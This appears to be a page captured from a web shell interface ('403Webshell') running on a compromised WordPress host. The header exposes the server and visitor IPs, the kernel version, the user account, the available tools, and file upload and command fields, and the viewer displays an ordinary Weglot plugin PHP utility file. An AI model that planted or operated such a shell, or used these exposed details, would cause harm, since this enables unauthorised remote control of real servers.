403Webshell
Server IP : 146.59.209.152  /  Your IP : 216.73.216.46
Web Server : Apache
System : Linux webm005.cluster131.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : infrafs ( 43850)
PHP Version : 8.2.29
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/infrafs/INFRABIKEDE/wp-content/plugins/weglot/vendor/weglot/weglot-php/src/Util/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/infrafs/INFRABIKEDE/wp-content/plugins/weglot/vendor/weglot/weglot-php/src/Util/JsonUtil.php
<?php

namespace Weglot\Util;

use Weglot\Client\Api\Enum\WordType;
use Weglot\Client\Api\Exception\InvalidWordTypeException;
use Weglot\Client\Api\WordCollection;
use Weglot\Client\Api\WordEntry;

/**
 * Class JsonUtil
 * @package Weglot\Parser\Util
 */
class JsonUtil
{
    const SEPARATOR = "##";
    /**
     * @param array $data
     * @param string $key
     * @return mixed
     */
    public static function get(array $data, $key)
    {
        if (isset($data[$key])) {
            return $data[$key];
        }
        return null;
    }

    /**
     * @param WordCollection $words
     * @param string $value
     * @throws InvalidWordTypeException
     */
    public static function add(WordCollection $words, $value)
    {
        $words->addOne(new WordEntry($value, WordType::TEXT));
    }

    /**
     * @param WordCollection $words
     * @param mixed $data
     * @param null $index
     * @param int $nextJson
     * @return array
     */
    public static function set(WordCollection $words, $data, $index, &$nextJson)
    {
        $keys = explode( self::SEPARATOR , $index);
        $current = &$data;
        foreach ($keys as $key) {
            $current =  &$current[$key];
        }

        $current = $words[$nextJson]->getWord();
        ++$nextJson;

        return $data;
    }

    public static function setHTML($newHTML, $data, $key)
    {
        $keys = explode(self::SEPARATOR , $key);
        $current = &$data;
        foreach ($keys as $key) {
            $current =  &$current[$key];
        }

        $current = $newHTML;


        return $data;
    }

    public static function setJSONString($jsonString, $data, $key)
    {
        $keys = explode(self::SEPARATOR , $key);
        $current = &$data;
        foreach ($keys as $key) {
            $current =  &$current[$key];
        }

        $current = $jsonString;


        return $data;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit